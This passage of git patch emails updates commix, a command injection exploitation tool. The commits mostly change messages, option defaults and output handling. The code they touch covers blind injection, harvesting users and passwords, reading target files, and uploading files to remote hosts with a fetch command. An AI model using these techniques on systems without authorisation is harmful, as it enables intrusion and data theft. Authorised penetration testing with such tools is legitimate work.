sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "41" +REVISION = "42" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 22109ddbe0c7a372565db627418388ee809a1548 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 25 Apr 2022 08:26:35 +0300 Subject: [PATCH 119/560] Trivial updates --- src/utils/menu.py | 34 +++++++++------------------------- src/utils/session_handler.py | 2 +- src/utils/settings.py | 6 +++--- 3 files changed, 13 insertions(+), 29 deletions(-) diff --git a/src/utils/menu.py b/src/utils/menu.py index 2f4b3074bc..154d7d8195 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -54,7 +54,7 @@ def banner(): "These options relate to general matters. ") general.add_option("-v", - default="0", + default=0, action="store", type="int", dest="verbose", @@ -64,7 +64,7 @@ def banner(): action="store_true", dest="install", default=False, - help="Install 'commix' to your system.") + help="Install " + settings.APPLICATION + " to your system.") general.add_option("--version", action="store_true", @@ -115,12 +115,6 @@ def banner(): default=False, help="Skip heuristic detection for code injection.") -# general.add_option("--encoding", -# action="store", -# dest="encoding", -# default=None, -# help="Force character encoding used for data retrieval (e.g. GBK).") - general.add_option("--codec", action="store", dest="codec", @@ -302,16 +296,16 @@ def banner(): request.add_option("--timeout", action="store", dest="timeout", - default=False, + default=settings.TIMEOUT, type="int", - help="Seconds to wait before timeout connection (default 30).") + help="Seconds to wait before timeout connection (Default: " + str(settings.TIMEOUT) + ").") request.add_option("--retries", action="store", dest="retries", - default=False, + default=settings.MAX_RETRIES, type="int", - help="Retries when the connection timeouts (Default: 3).") + help="Retries when the connection timeouts (Default: " + str(settings.MAX_RETRIES) + ").") request.add_option("--drop-set-cookie", action="store_true", @@ -481,7 +475,7 @@ def banner(): action="store", type="int", dest="timesec", - help="Seconds to delay the OS response (Default 1).") + help="Seconds to delay the OS response (Default: 1).") injection.add_option("--tmp-path", action="store", @@ -742,24 +736,14 @@ def tab_completer(text, state): Check if enumeration options are enabled. """ def enumeration_options(): - if options.hostname or \ - options.current_user or \ - options.is_root or \ - options.is_admin or \ - options.sys_info or \ - options.users or \ - options.privileges or \ - options.passwords or \ - options.ps_version : + if any((options.hostname, options.current_user, options.is_root, options.is_admin, options.sys_info, options.users, options.privileges, options.passwords, options.ps_version)): return True """ Check if file access options are enabled. """ def file_access_options(): - if options.file_write or \ - options.file_upload or\ - options.file_read: + if any((options.file_write, options.file_upload, options.file_read)): return True # eof diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index aa5353f288..4bad73afe7 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -366,7 +366,7 @@ def store_cmd(url, cmd, shell, vuln_parameter): conn.close() except sqlite3.OperationalError as err_msg: print(settings.print_critical_msg(err_msg)) - except TypeError as err_msg: + except (TypeError, AttributeError) as err_msg: pass """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 7694fda06d..e8da5908b8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "42" +REVISION = "43" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -1011,8 +1011,8 @@ def sys_argv_errors(): # Check for multi encoded payloads MULTI_ENCODED_PAYLOAD = [] -# Default Timeout -TIMEOUT = 31 +# Default Timeout (Seconds to wait before timeout connection) +TIMEOUT = 30 # Retries when the connection timeouts (Default: 3). MAX_RETRIES = 3 From a1f58d1d4e52fac7306dfb16c085c1964c420ec6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 26 Apr 2022 07:21:04 +0300 Subject: [PATCH 120/560] Multiple updates --- .../techniques/time_based/tb_enumeration.py | 15 +++++++++------ .../techniques/time_based/tb_file_access.py | 12 +++++------- .../blind/techniques/time_based/tb_handler.py | 6 +++--- .../blind/techniques/time_based/tb_injector.py | 5 +++-- .../techniques/classic/cb_enumeration.py | 4 ++-- .../techniques/eval_based/eb_enumeration.py | 2 +- .../techniques/file_based/fb_enumeration.py | 2 +- .../techniques/file_based/fb_handler.py | 6 +++--- .../tempfile_based/tfb_enumeration.py | 14 ++++++++------ .../tempfile_based/tfb_file_access.py | 4 +++- .../techniques/tempfile_based/tfb_handler.py | 18 ++++++++++-------- .../techniques/tempfile_based/tfb_injector.py | 9 +++++---- src/utils/settings.py | 6 +++--- 13 files changed, 56 insertions(+), 47 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 8ab74835c8..472bc2550d 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -522,21 +522,24 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti Single os-shell execution """ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - cmd = menu.options.os_cmd - info_msg = "Executing '" + cmd + "' command." + info_msg = "Executing the '" + cmd + "' command." print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # The main command injection exploitation. check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - return check_how_long, output + print(settings.SINGLE_WHITESPACE) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + check_how_long = 0 + if len(output) > 1: if settings.VERBOSITY_LEVEL <= 1: print(settings.SINGLE_WHITESPACE) print(settings.command_execution_output(output)) - print(settings.SINGLE_WHITESPACE) + else: + err_msg = "The '" + cmd + "' command, does not return any output." + print(settings.print_critical_msg(err_msg)) + return check_how_long, output """ Check the defined options diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index 3294541324..92072b1e87 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -57,10 +57,8 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if shell: info_msg = "The contents of file '" info_msg += file_to_read + Style.RESET_ALL + Style.BRIGHT - info_msg += "'" + Style.RESET_ALL + " : " - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - sys.stdout.write(shell) + info_msg += "'" + Style.RESET_ALL + " : " + shell + print(settings.print_bold_info_msg(info_msg)) output_file = open(filename, "a") if not menu.options.no_logging: info_msg = "The contents of file '" @@ -81,7 +79,6 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." print(settings.print_warning_msg(warn_msg)) - print(settings.SINGLE_WHITESPACE) raise SystemExit() if os.path.isfile(file_to_write): with open(file_to_write, 'r') as content_file: @@ -93,7 +90,6 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, else: warn_msg = "It seems that '" + file_to_write + "' is not a file." print(settings.print_warning_msg(warn_msg)) - print(settings.SINGLE_WHITESPACE) if os.path.split(menu.options.file_dest)[1] == "" : dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] elif os.path.split(menu.options.file_dest)[0] == "/": @@ -163,7 +159,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, Upload a file on the target host. """ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = True + _ = False if settings.TARGET_OS == "win": # Not yet implemented pass @@ -209,10 +205,12 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if shell: + sys.stdout.flush() info_msg = "The '" + shell info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully." print(settings.print_bold_info_msg(info_msg)) else: + sys.stdout.flush() warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." print(settings.print_warning_msg(warn_msg)) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index fbdda83d12..d6fe24b428 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -61,7 +61,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Check if defined "--maxlen" option. if menu.options.maxlen: - maxlen = settings.MAXLEN + settings.MAXLEN = maxlen = menu.options.maxlen # Check if defined "--url-reload" option. if menu.options.url_reload == True: @@ -479,8 +479,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r cmd = menu.options.os_cmd check_how_long, output = tb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result - tb_injector.export_injection_results(cmd, separator, output, check_how_long) - print(settings.SINGLE_WHITESPACE) + #tb_injector.export_injection_results(cmd, separator, output, check_how_long) + #print(settings.SINGLE_WHITESPACE) if not new_line : print(settings.SINGLE_WHITESPACE) diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 06b0d21f60..328f15080b 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -278,8 +278,9 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, info_msg += "" else: info_msg += "\n" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + if output_length > 1: + sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + sys.stdout.flush() for num_of_chars in range(1, int(num_of_chars)): char_pool = checks.generate_char_pool(num_of_chars) for ascii_char in char_pool: diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index b7c83e3d25..32ed465fa9 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -545,9 +545,9 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me """ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): cmd = menu.options.os_cmd - if menu.file_access_options(): + if menu.file_access_options(): sys.stdout.flush() - info_msg = "Executing '" + cmd + "' command." + info_msg = "Executing the '" + cmd + "' command." print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index bed06de214..b99c178f6c 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -548,7 +548,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me """ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): cmd = menu.options.os_cmd - info_msg = "Executing '" + cmd + "' command." + info_msg = "Executing the '" + cmd + "' command." print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index 5f39cefc13..e7e863775e 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -527,7 +527,7 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac """ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): cmd = menu.options.os_cmd - info_msg = "Executing '" + cmd + "' command." + info_msg = "Executing the '" + cmd + "' command." print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index b867d015f8..3982c18002 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -46,8 +46,8 @@ """ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response): if no_result == True: - info_msg = "Trying to create a file, in temporary " - info_msg += "directory (" + tmp_path + ") for command execution results.\n" + info_msg = "Trying to create a file in temporary " + info_msg += "directory (" + tmp_path + ") for command execution output.\n" sys.stdout.write(settings.print_info_msg(info_msg)) call_tfb = tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) return call_tfb @@ -184,7 +184,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if not settings.LOAD_SESSION or settings.RETEST == True: TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) info_msg = "Trying to create a file in '" + settings.WEB_ROOT - info_msg += "' for command execution results. " + info_msg += "' for command execution output. " print(settings.print_info_msg(info_msg)) i = 0 diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index 0307f698a5..25a7350230 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -527,22 +527,24 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti Single os-shell execution """ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - cmd = menu.options.os_cmd - info_msg = "Executing '" + cmd + "' command." + info_msg = "Executing the '" + cmd + "' command." print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - return check_how_long, output + print(settings.SINGLE_WHITESPACE) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + check_how_long = 0 + if len(output) > 1: if settings.VERBOSITY_LEVEL <= 1: print(settings.SINGLE_WHITESPACE) print(settings.command_execution_output(output)) - print(settings.SINGLE_WHITESPACE) + else: + err_msg = "The '" + cmd + "' command, does not return any output." + print(settings.print_critical_msg(err_msg)) + return check_how_long, output """ Check the defined options diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index c35b7d75a0..4be3329ba8 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -47,7 +47,6 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) _ = True - # new_line = "\n" else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) shell = output @@ -71,6 +70,7 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: + sys.stdout.flush() warn_msg = "It seems that you don't have permissions " warn_msg += "to read the '" + file_to_read + "' file." print(settings.print_warning_msg(warn_msg)) @@ -157,6 +157,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was created successfully." print(settings.print_bold_info_msg(info_msg)) else: + sys.stdout.flush() warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." print(settings.print_warning_msg(warn_msg)) @@ -214,6 +215,7 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully." print(settings.print_bold_info_msg(info_msg)) else: + sys.stdout.flush() warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." print(settings.print_warning_msg(warn_msg)) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 8a06d385d2..b0da54b2af 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -82,7 +82,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, # Check if defined "--maxlen" option. if menu.options.maxlen: - maxlen = settings.MAXLEN + settings.MAXLEN = maxlen = menu.options.maxlen # Check if defined "--url-reload" option. if menu.options.url_reload == True: @@ -524,15 +524,17 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, # Check if defined single cmd. if menu.options.os_cmd: + cmd = menu.options.os_cmd check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Export injection result - tfb_injector.export_injection_results(cmd, separator, output, check_how_long) - # Delete previous shell (text) files (output) from temp. - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # logs.print_logs_notification(filename, url) - # raise SystemExit() + if len(output) > 1: + #tfb_injector.export_injection_results(cmd, separator, output, check_how_long) + # Delete previous shell (text) files (output) from temp. + if settings.VERBOSITY_LEVEL != 0: + print(settings.SINGLE_WHITESPACE) + delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + # logs.print_logs_notification(filename, url) + # raise SystemExit() if settings.VERBOSITY_LEVEL != 0 or not new_line: print(settings.SINGLE_WHITESPACE) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 5888383d58..741f1a97cc 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -276,15 +276,16 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, check_start = time.time() output = [] percent = "0.0%" - info_msg = "Grabbing the output from '" + OUTPUT_TEXTFILE + "'." + info_msg = "Grabbing the execution output (via '" + OUTPUT_TEXTFILE + "')." if settings.VERBOSITY_LEVEL == 0 : info_msg += ".. (" + str(percent) + ")" elif settings.VERBOSITY_LEVEL == 1 : info_msg += "" else: info_msg += "\n" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + if output_length > 1: + sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + sys.stdout.flush() for num_of_chars in range(1, int(num_of_chars)): char_pool = checks.generate_char_pool(num_of_chars) for ascii_char in char_pool: @@ -348,7 +349,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, float_percent = settings.info_msg else: float_percent = ".. (" + str(float_percent) + ")" - info_msg = "Grabbing the output from '" + OUTPUT_TEXTFILE +"'." + info_msg = "Grabbing the execution output (via '" + OUTPUT_TEXTFILE +"')." info_msg += float_percent sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() diff --git a/src/utils/settings.py b/src/utils/settings.py index e8da5908b8..156b1792f9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "43" +REVISION = "44" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -376,8 +376,8 @@ def sys_argv_errors(): OUTPUT_FILE_EXT = ".txt" OUTPUT_FILE = OUTPUT_FILE_NAME + OUTPUT_FILE_EXT -# Max Length. -MAXLEN = "10000" +# Max Length for command execution output. +MAXLEN = 10000 # Maximum response total page size (trimmed if larger) MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024 From f9c1567838bcbbaa88733b0d6753b07181e0a8b6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 27 Apr 2022 07:22:09 +0300 Subject: [PATCH 121/560] Minor updates --- doc/CHANGELOG.md | 4 +- .../techniques/time_based/tb_file_access.py | 32 ++++++++++----- .../blind/techniques/time_based/tb_handler.py | 3 -- .../techniques/classic/cb_enumeration.py | 4 +- .../techniques/classic/cb_file_access.py | 39 ++++++++++++------- .../techniques/classic/cb_handler.py | 15 ++++--- .../techniques/eval_based/eb_enumeration.py | 3 +- .../techniques/eval_based/eb_file_access.py | 37 +++++++++++------- .../techniques/eval_based/eb_handler.py | 14 +++---- .../techniques/file_based/fb_enumeration.py | 3 +- .../techniques/file_based/fb_file_access.py | 32 +++++++++------ .../techniques/file_based/fb_handler.py | 19 +++++---- .../tempfile_based/tfb_file_access.py | 36 ++++++++++------- .../techniques/tempfile_based/tfb_handler.py | 7 +--- src/core/modules/shellshock/shellshock.py | 28 ++++++------- src/utils/settings.py | 2 +- 16 files changed, 158 insertions(+), 120 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 920701f0d3..cc35e5fdf1 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -234,9 +234,9 @@ * Added: New option `--retries` that retries request(s) when the connection timeouts. ## Version 1.9 (2017-05-02) -* Revised: Minor improvement in results-based techniques, for delaying the OS responses depending on the user-provided time delay. +* Revised: Minor improvement in results-based techniques, for delaying the OS responses depending on the user-supplied time delay. * Revised: The time-related ("time-based"/"tempfile-based") payloads, have been shortly revised. -* Revised: Minor improvement in file-based technique, for delaying the OS responses depending on the user-provided time delay. +* Revised: Minor improvement in file-based technique, for delaying the OS responses depending on the user-supplied time delay. * Fixed: Minor improvement in file-based technique, regarding τhe directory path that the output file is saved. * Added: New option `--ignore-redirects` that ignoring redirection attempts. * Added: New functionality for identifying and following URL redirections. diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index 92072b1e87..e0ee3381ca 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -35,6 +35,10 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() + info_msg = "Trying to read the content of file '" + info_msg += file_to_read + "'." + print(settings.print_info_msg(info_msg)) + # Execute command if settings.TARGET_OS == "win": cmd = settings.WIN_FILE_READ + file_to_read @@ -55,19 +59,19 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The contents of file '" - info_msg += file_to_read + Style.RESET_ALL + Style.BRIGHT - info_msg += "'" + Style.RESET_ALL + " : " + shell + info_msg = "Content of file '" + info_msg += file_to_read + "' has been extracted." print(settings.print_bold_info_msg(info_msg)) + print(settings.print_sub_content(shell)) output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The contents of file '" + info_msg = "Extracted content of file '" info_msg += file_to_read + "' : " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the '" + file_to_read + "' file." + warn_msg += "to read the content of file '" + file_to_read + "'." print(settings.print_warning_msg(warn_msg)) """ @@ -96,6 +100,11 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] else: dest_to_write = menu.options.file_dest + + info_msg = "Trying to write content of file '" + info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." + print(settings.print_info_msg(info_msg)) + # Execute command if settings.TARGET_OS == "win": from src.core.injections.results_based.techniques.classic import cb_injector @@ -148,8 +157,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The '" + shell - info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was created successfully." + info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." print(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." @@ -185,6 +193,11 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] else: dest_to_upload = menu.options.file_dest + + info_msg = "Trying to upload the file '" + info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." + print(settings.print_info_msg(info_msg)) + # Execute command cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) @@ -206,12 +219,11 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec print(settings.SINGLE_WHITESPACE) if shell: sys.stdout.flush() - info_msg = "The '" + shell - info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully." + info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." print(settings.print_bold_info_msg(info_msg)) else: sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." + warn_msg = "It seems that you don't have permissions to upload the '" + dest_to_upload + "' file." print(settings.print_warning_msg(warn_msg)) """ diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index d6fe24b428..e58bd3fbfb 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -470,8 +470,6 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r print(settings.print_error_msg(err_msg)) pass else: - # if not menu.enumeration_options() and not menu.options.os_cmd: - # print(settings.SINGLE_WHITESPACE) tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Check if defined single cmd. @@ -480,7 +478,6 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r check_how_long, output = tb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result #tb_injector.export_injection_results(cmd, separator, output, check_how_long) - #print(settings.SINGLE_WHITESPACE) if not new_line : print(settings.SINGLE_WHITESPACE) diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 32ed465fa9..150f79739d 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -545,8 +545,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me """ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): cmd = menu.options.os_cmd - if menu.file_access_options(): - sys.stdout.flush() + # if menu.file_access_options(): + # sys.stdout.flush() info_msg = "Executing the '" + cmd + "' command." print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py index c887fcf06b..b467ba67f0 100755 --- a/src/core/injections/results_based/techniques/classic/cb_file_access.py +++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py @@ -36,6 +36,10 